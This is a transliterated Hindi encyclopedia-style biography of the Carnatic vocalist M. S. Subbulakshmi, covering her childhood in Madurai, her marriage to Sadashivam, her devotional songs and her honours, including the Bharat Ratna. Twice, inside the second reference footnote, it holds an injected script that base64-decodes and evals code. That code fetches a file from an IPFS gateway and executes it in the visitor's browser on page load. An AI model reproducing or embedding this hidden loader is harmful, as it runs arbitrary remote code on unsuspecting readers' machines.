एम. एस. सुब्बुलक्ष्मी

	em. es. subbulakshmi
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poora nam	madurai shanmukhavadivu subbulakshmi
any nam	em. es. subbulakshmi
janm	16 sitanbar, 1916
janm bhoomi	madras
mrityu	11 disanbar, 2004
mrityu sthan	chennee
pati/patni	sadashivam
karm-kshetr	film sangit (parshvagayika), bharatiy shastriy sangit
vishay	bharatiy shastriy sangit, lok sangit, bhajan, gazal
puraskar-upadhi	'bharat ratn', 'padmavibhooshan', 'padm bhooshan', 'sangit natak akadami samman', 'raiman maigsese samman'
nagarikata	bharatiy
mukhy git	‘vaishnav jan to tene kahie, jo pir paraee jane re’
any janakari	subbulakshmi ne kann d ke alava tamil, malayalam, telugoo, hiandi, sanskrit, bangali aur gujarati mean bhi git gae.
adyatan‎	14:05, 22 march 2012 (IST)

madurai shanmukhavadivu subbulakshmi athava em. es. subbulakshmi (janm- 16 sitanbar, 1916 madras; mrityu- 11 disanbar, 2004 chennee) ko karnatak sangit ka paryay mana jata hai aur bharat ki vah aisi pahali gayika thian, jinhean sarvochch nagarik alankaran bharat ratn se sammanit kiya gaya. unake gaye hue gane, khasakar bhajan aj bhi logoan ke bich kafi lokapriy haian. desh ke pratham pradhanamantri javaharalal neharoo ne unhean sangit ki rani bataya to vahian svar samrajni lata mangeshakar ne unhean 'tapasvini' kaha.

aranbhik jivan

subbulakshmi ka janm mandiroan ke shahar madurai, madras presideansi, british raj mean 16 sitambar, 1916 ko vina vadak shanmukhavadivu (lekhadhikari ke yahaan unaki mata ka nam aur janm sthan hi aankit hai) ke yahaan hua. unaka bachapan ka nam 'kuanjamma' tha. unaki nani akkammal vayalin vadak thian. unaka prasiddh nam em.es. tha. bachapan mean kuanjamma apane chhote bhaee aur bahan ke sath sangit ke vatavaran mean pale badhe. unaka ghar minakshi mandir ke pas hi tha.^[1]

em. es. subbulakshmi devadasi parivar mean utpann hueean. 17 varsh ki ayu mean unhoanne 'chennee sangit akadami' mean ek shreshth gayika ke roop mean apana nam darj kara liya tha. prarambh se hi unake man mean apane sangit ke sambandh mean yah bhavana thi ki, unake sangit ko sunakar murajhae hue cheharoan par paramanand ki jhalak dikhaee de.^[2]

pahala elabam

subbulakshmi bachapan mean hi karnatak sangit se ju d gayi thian aur unaka pahala elabam mahaj das sal ki umr mean nikala tha. prasiddh sangitachary 'semmanagudi shrinivas ayyar' se sangit ki shiksha grahan karane ke bad unhoanne 'pandit narayan rav' se shastriy sangit ki shiksha li. subbulakshmi ne pahali bar sarvajanik taur par apane gayan ka pradarshan ek samaroh ke dauran kiya. isake bad vah age ki padhaee ke lie 'madras sangit akadami' chali gayi, jahaan sirph 17 sal ki umr mean bhavy karyakram ayojit kiye. unhoanne kann d ke alava tamil, malayalam, telugoo, hiandi, sanskrit, bangali aur gujarati mean bhi git gae. unhoanne 1945 mean 'bhakt mira' namak film mean behatarin bhoomika ada ki. unhoanne mira ke bhajan ko apane suroan mean piroya, jo aj tak logoan dvara sune jate haian.^[3]

vivah

san 1936 mean vah 'svatantrata senani sadashivam' se milian aur 1940 mean unaki jivan sangini ban gayian. sadashivam ke apani pahali patni se char bachche the jinhean subbulakshmi ne apani santan ki tarah pala.^[3]

lokapriyata

subbulakshmi ki lokapriyata unake gayan ke karan to hai hi, parantu unhoanne jo bhakti sangit bharat aur sampoorn vishv ko diya hai, usake karan vishesh roop se unhean smaran kiya jata hai. jab vah gaandhi ji ke priy bhajan ‘vaishnav jan to tene kahie, jo pir paraee jane re’ gatian, to ek vishesh prakar ka jadoo-sa shrotaoan par chha jata hai. unhoanne mira ke anek bhajan bhi gae haian. unhoanne mira namak tamil film mean bhi kam kiya. jab is film ka hindi roopantar pesh kiya gaya, to subbulakshmi ko hindi jagath mean vishesh roop jana jane laga. ve isake karan sampoorn desh mean prasiddh ho geean. subbulakshmi ne jab sanyukt rashtr ki asembali mean apana gayan pesh kiya tha, to prasiddh patr ‘nyooyark taims’ ne likha tha ki, ve apane sangit ke dvara pashchim ke shrotaoan se jo sampark sthapit karati haian, usake lie yah avashyak nahian ki shrota unake shabdoan ka arth samajhean. isake lie unake kanth se nikala hua madhur svar pashchimi shrotaoan ke lie sabase saral aur mahattvapoorn madhyam hai.^[2]

subbulakshmi ke bare mean kaha jata hai ki jo log unaki bhasha nahian samajhate the, ve bhi unaki gayaki sunate the. unaki avaz ko paramatma ki abhivyakti kaha jata tha aur log prasannachit hokar unaka gayan sunate the. unake prashansakoan ki pheharist mean mahatma gaandhi aur javaharalal neharoo sarikhe kee prakhyat log the. unake bare mean gaandhi ji ka kahana tha, vah kisi aur ka gayan sunane ki bajay subbulakshmi ki avaz sunana pasand kareange.^[3]

pati ka margadarshan

thumb|em. es. subbulakshmi|250px subbulakshmi ko vishv ki ek sarvottam gayika banane mean unake pati ka margadarshan raha hai. unhoanne svayan is bat ko svikar kiya hai ki yadi mujhe apane pati se margadarshan aur sahayata nahian mili hoti, to maian is mukam tak nahian pahuanch pati. bisavian shatabdi ki mahanh bhakti gayika hone ke bavajood ve sadaiv namr bani rahian aur sangit mean apani khyati ke lie apane pati sadashivam ka abhar manati rahian. sadashivam ki visheshata yah thi ki, gaandhivadi aur svatantrata senani hone ke bavajood jab se unhoanne subbulakshmi ka hath thama, aisa koee prayatn shesh nahian chho da, jisase subbulakshmi ki khyati dinoan-din badhati n rahe. unhoanne subbulakshmi ki gayan sabhaoan ka is prakar ayojan kiya ki, ve saphalataoan ki sidhiyaan chadhati hi geean. inhian ke prayatnoan ke karan subbulakshmi ko ‘naiteangel aauf iandiya’ kaha gaya, jabaki isase pahale yah khitab keval sarojini nayadoo ko hi prapt tha. ramadhun aur bhakti sangit ko gane ki prerana bhi unhean sadashivamh se hi mili thi.^[2]

prashansa ke nam

anek mashahoor sangitakaroan ne shrimati subbulakshmi ki kala ki tarif ki hai. -

lata mangeshakar ne apako 'tapasvini' kaha,
ustad b de gulam ali khaan ne apako 'susvaralakshmi' pukara,
kishori amonakar ne apako 'athvaan sur' kaha, jo sangit ke sat suroan se ooancha hai.
emes lavanya evan emes subulakshmi ko log 'sekh‍sophon sish‍tar' ke nam se jyada janate haian
bharat ke kee mananiy neta, jaise mahatma gaandhi aur pandit neharu bhi apake sangit ke prashansak the. ek avasar par mahatma gaandhi ne kaha ki agar shrimati subbulakshmi 'hari, tum haro jan ki bhir' is mira bhajan ko gane ke bajay bol bhi dean, tab bhi unako vah bhajan kisi aur ke gane se adhik surila lagega.

pratham bharatiy

shrimati subbulakshmi pahali bharatiy haian jinhoanne sanyukt rashtr sangh (United Nations) ki sabha mean sangit karyakram prastut kiya, tatha ap pahali stri haian jinako karnatak sangit ka sarvottam puraskar, sangit kalanidhi prapt hua.

samman aur puraskar

[[chitr:MS-Subbulakshmi-stamp.jpg|thumb|subbulakshmi ke samman mean jari dak tikat]] bharat ke sarvochch nagarik samman ‘bharat ratn’ se sammanit kie jane ke atirikt unhean madras sangit akadami ne sangit kalanidhi ki upadhi se aanlakrit kiya tha. yah samman prapt karane vali vah pratham mahila thian. 1974 mean unhean ‘reman megasese’ puraskar prapt hua aur 1990 mean rashtriy ekata ke lie unhean iandira gaandhi avard diya gaya.^[2]

1954 mean padm bhooshan
1956 mean sangit natak akadami samman
1974 mean raiman maigsese samman
1975 mean padm vibhooshan
1988 mean kailash samman
1998 mean bharat ratn samet kee sammanoan se navaja gaya. isake atirikt kee vishvavidyalayoan ne unhean manad upadhi se sammanit kiya.^[3]

nidhan

88 sal ki umr mean mahanh gayika em.es. subbulakshmi 11 disanbar, 2004 ko duniya ko alavida kah gayian.

chitr vithika

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em. es. subbulakshmi
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subbulakshmi apane pati (sadashivam) ke sath
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subbulakshmi, indira gaandhi ke sath
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subbulakshmi, karn sianh ke sath
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subbulakshmi ki pratima
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em. es. subbulakshmi
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em. es. subbulakshmi
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em. es. subbulakshmi
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em. es. subbulakshmi
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subbulakshmi, sarojini nayadoo ke sath
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em. es. subbulakshmi
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shadi ke avasar par subbulakshmi apane pati ke sath
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em. es. subbulakshmi
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subbulakshmi, gaandhi ji ke sath

tika tippani aur sandarbh

↑ M.S. A Child Profile (aangrezi). . abhigaman tithi: 22 march, 2012.
↑ ^2.0 ^2.1 ^2.2 ^2.3 liladhar, sharma bharatiy charit kosh (hindi). bharatadiskavari pustakalay: shiksha bharati, 932.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
↑ ^3.0 ^3.1 ^3.2 ^3.3 jaduee khanak thi subbulakshmi ki avaz mean (hindi) (ech.ti.em.el) laiv hindustan d aaut k aaum. abhigaman tithi: 16 agast, 2011.

bahari k diyaan

sanbandhit lekh

varnamala kramanusar lekh khoj

a a i ee u oo e ai o au aan k kh g gh n ch chh j jh n t th d dh n t th d dh n p ph b bh m y r l v sh sh s h ksh tr jn rri rri aau shr aah

[1] M.S. A Child Profile (aangrezi). . abhigaman tithi: 22 march, 2012.

[.E0.A4.9A.E0.A4.B0.E0.A4.BF.E0.A4.A4_.E0.A4.95.E0.A5.8B.E0.A4.B6-2] 2.0 ^2.1 ^2.2 ^2.3 liladhar, sharma bharatiy charit kosh (hindi). bharatadiskavari pustakalay: shiksha bharati, 932.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[LH-3] 3.0 ^3.1 ^3.2 ^3.3 jaduee khanak thi subbulakshmi ki avaz mean (hindi) (ech.ti.em.el) laiv hindustan d aaut k aaum. abhigaman tithi: 16 agast, 2011.

[1]

[2]

[3]

em. es. subbulakshmi
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poora nam	madurai shanmukhavadivu subbulakshmi
any nam	em. es. subbulakshmi
janm	16 sitanbar, 1916
janm bhoomi	madras
mrityu	11 disanbar, 2004
mrityu sthan	chennee
pati/patni	sadashivam
karm-kshetr	film sangit (parshvagayika), bharatiy shastriy sangit
vishay	bharatiy shastriy sangit, lok sangit, bhajan, gazal
puraskar-upadhi	'bharat ratn', 'padmavibhooshan', 'padm bhooshan', 'sangit natak akadami samman', 'raiman maigsese samman'
nagarikata	bharatiy
mukhy git	‘vaishnav jan to tene kahie, jo pir paraee jane re’
any janakari	subbulakshmi ne kann d ke alava tamil, malayalam, telugoo, hiandi, sanskrit, bangali aur gujarati mean bhi git gae.
adyatan‎	14:05, 22 march 2012 (IST)